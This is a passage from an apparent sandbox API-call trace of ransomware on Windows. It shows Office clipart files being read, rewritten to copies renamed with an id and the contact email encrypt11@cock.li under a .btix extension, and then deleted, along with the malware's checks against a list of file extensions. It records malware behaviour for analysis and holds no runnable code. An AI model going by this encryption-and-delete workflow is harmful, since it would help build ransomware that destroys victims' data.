SetEndOfFile (hFile=0x374) returned 1 [0150.938] CloseHandle (hObject=0x374) returned 1 [0150.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0150.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.939] lstrlenW (lpString=".doc") returned 4 [0150.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString=".docx") returned 5 [0150.939] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0150.939] lstrlenW (lpString=".pdf") returned 4 [0150.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString=".xls") returned 4 [0150.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.939] lstrlenW (lpString=".xlsx") returned 5 [0150.939] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0150.939] lstrlenW (lpString=".ppt") returned 4 [0150.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.939] lstrlenW (lpString=".zip") returned 4 [0150.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.939] lstrlenW (lpString=".rar") returned 4 [0150.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString=".bz2") returned 4 [0150.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString=".7z") returned 3 [0150.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.939] lstrlenW (lpString=".dbf") returned 4 [0150.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.939] lstrlenW (lpString=".1cd") returned 4 [0150.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.939] lstrlenW (lpString=".jpg") returned 4 [0150.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.939] lstrlenW (lpString=".doc") returned 4 [0150.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.939] lstrlenW (lpString=".docx") returned 5 [0150.940] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0150.940] lstrlenW (lpString=".pdf") returned 4 [0150.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.940] lstrlenW (lpString=".xls") returned 4 [0150.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.940] lstrlenW (lpString=".xlsx") returned 5 [0150.940] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0150.940] lstrlenW (lpString=".ppt") returned 4 [0150.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.940] lstrlenW (lpString=".zip") returned 4 [0150.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.940] lstrlenW (lpString=".rar") returned 4 [0150.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.940] lstrlenW (lpString=".bz2") returned 4 [0150.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.940] lstrlenW (lpString=".7z") returned 3 [0150.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.940] lstrlenW (lpString=".dbf") returned 4 [0150.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.940] lstrlenW (lpString=".1cd") returned 4 [0150.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0150.940] lstrlenW (lpString=".jpg") returned 4 [0150.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.940] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.940] lstrlenW (lpString="J0099205.WMF") returned 12 [0150.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.941] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=17854) returned 1 [0150.941] CloseHandle (hObject=0x374) returned 1 [0150.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0150.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.941] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.941] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0150.942] GetLastError () returned 0x0 [0150.942] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x45be, lpOverlapped=0x0) returned 1 [0150.942] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0150.944] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.944] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.944] SetEndOfFile (hFile=0x364) returned 1 [0151.320] CloseHandle (hObject=0x364) returned 1 [0151.320] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.320] SetEndOfFile (hFile=0x374) returned 1 [0151.321] CloseHandle (hObject=0x374) returned 1 [0151.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0151.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.322] lstrlenW (lpString=".doc") returned 4 [0151.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.322] lstrlenW (lpString=".docx") returned 5 [0151.322] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0151.322] lstrlenW (lpString=".pdf") returned 4 [0151.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.322] lstrlenW (lpString=".xls") returned 4 [0151.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.322] lstrlenW (lpString=".xlsx") returned 5 [0151.322] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0151.322] lstrlenW (lpString=".ppt") returned 4 [0151.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.322] lstrlenW (lpString=".zip") returned 4 [0151.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.322] lstrlenW (lpString=".rar") returned 4 [0151.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.322] lstrlenW (lpString=".bz2") returned 4 [0151.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.322] lstrlenW (lpString=".7z") returned 3 [0151.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.322] lstrlenW (lpString=".dbf") returned 4 [0151.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.322] lstrlenW (lpString=".1cd") returned 4 [0151.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.323] lstrlenW (lpString=".jpg") returned 4 [0151.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.323] lstrlenW (lpString=".doc") returned 4 [0151.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.323] lstrlenW (lpString=".docx") returned 5 [0151.323] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0151.323] lstrlenW (lpString=".pdf") returned 4 [0151.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.323] lstrlenW (lpString=".xls") returned 4 [0151.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.323] lstrlenW (lpString=".xlsx") returned 5 [0151.323] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0151.323] lstrlenW (lpString=".ppt") returned 4 [0151.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.323] lstrlenW (lpString=".zip") returned 4 [0151.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.323] lstrlenW (lpString=".rar") returned 4 [0151.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.323] lstrlenW (lpString=".bz2") returned 4 [0151.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.323] lstrlenW (lpString=".7z") returned 3 [0151.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.323] lstrlenW (lpString=".dbf") returned 4 [0151.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.323] lstrlenW (lpString=".1cd") returned 4 [0151.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0151.323] lstrlenW (lpString=".jpg") returned 4 [0151.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.324] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.324] lstrlenW (lpString="J0101980.WMF") returned 12 [0151.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.324] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=16104) returned 1 [0151.324] CloseHandle (hObject=0x374) returned 1 [0151.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0151.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.324] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.324] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.325] GetLastError () returned 0x0 [0151.325] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0151.326] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0151.327] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.327] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.327] SetEndOfFile (hFile=0x364) returned 1 [0151.327] CloseHandle (hObject=0x364) returned 1 [0151.327] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.327] SetEndOfFile (hFile=0x374) returned 1 [0151.328] CloseHandle (hObject=0x374) returned 1 [0151.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0151.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.328] lstrlenW (lpString=".doc") returned 4 [0151.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString=".docx") returned 5 [0151.329] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.329] lstrlenW (lpString=".pdf") returned 4 [0151.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString=".xls") returned 4 [0151.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.329] lstrlenW (lpString=".xlsx") returned 5 [0151.329] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.329] lstrlenW (lpString=".ppt") returned 4 [0151.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.329] lstrlenW (lpString=".zip") returned 4 [0151.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.329] lstrlenW (lpString=".rar") returned 4 [0151.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString=".bz2") returned 4 [0151.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString=".7z") returned 3 [0151.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.329] lstrlenW (lpString=".dbf") returned 4 [0151.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.329] lstrlenW (lpString=".1cd") returned 4 [0151.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.329] lstrlenW (lpString=".jpg") returned 4 [0151.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.329] lstrlenW (lpString=".doc") returned 4 [0151.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.329] lstrlenW (lpString=".docx") returned 5 [0151.329] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.330] lstrlenW (lpString=".pdf") returned 4 [0151.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString=".xls") returned 4 [0151.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.330] lstrlenW (lpString=".xlsx") returned 5 [0151.330] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.330] lstrlenW (lpString=".ppt") returned 4 [0151.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.330] lstrlenW (lpString=".zip") returned 4 [0151.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.330] lstrlenW (lpString=".rar") returned 4 [0151.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString=".bz2") returned 4 [0151.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString=".7z") returned 3 [0151.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.330] lstrlenW (lpString=".dbf") returned 4 [0151.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.330] lstrlenW (lpString=".1cd") returned 4 [0151.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0151.330] lstrlenW (lpString=".jpg") returned 4 [0151.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.330] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.330] lstrlenW (lpString="J0102002.WMF") returned 12 [0151.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.331] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=15988) returned 1 [0151.331] CloseHandle (hObject=0x374) returned 1 [0151.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0151.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.331] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.331] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.332] GetLastError () returned 0x0 [0151.332] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0151.333] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0151.334] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.334] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.334] SetEndOfFile (hFile=0x364) returned 1 [0151.334] CloseHandle (hObject=0x364) returned 1 [0151.334] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.334] SetEndOfFile (hFile=0x374) returned 1 [0151.335] CloseHandle (hObject=0x374) returned 1 [0151.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0151.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.335] lstrlenW (lpString="C:\\Program Files\\Microsoft 